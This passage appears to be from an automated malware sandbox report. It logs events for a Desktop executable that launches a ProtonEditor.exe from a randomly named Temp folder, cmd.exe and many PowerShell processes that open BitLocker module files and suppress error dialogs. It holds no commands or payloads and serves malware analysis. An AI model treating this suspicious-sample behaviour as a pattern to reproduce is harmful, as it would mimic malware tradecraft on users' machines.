    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
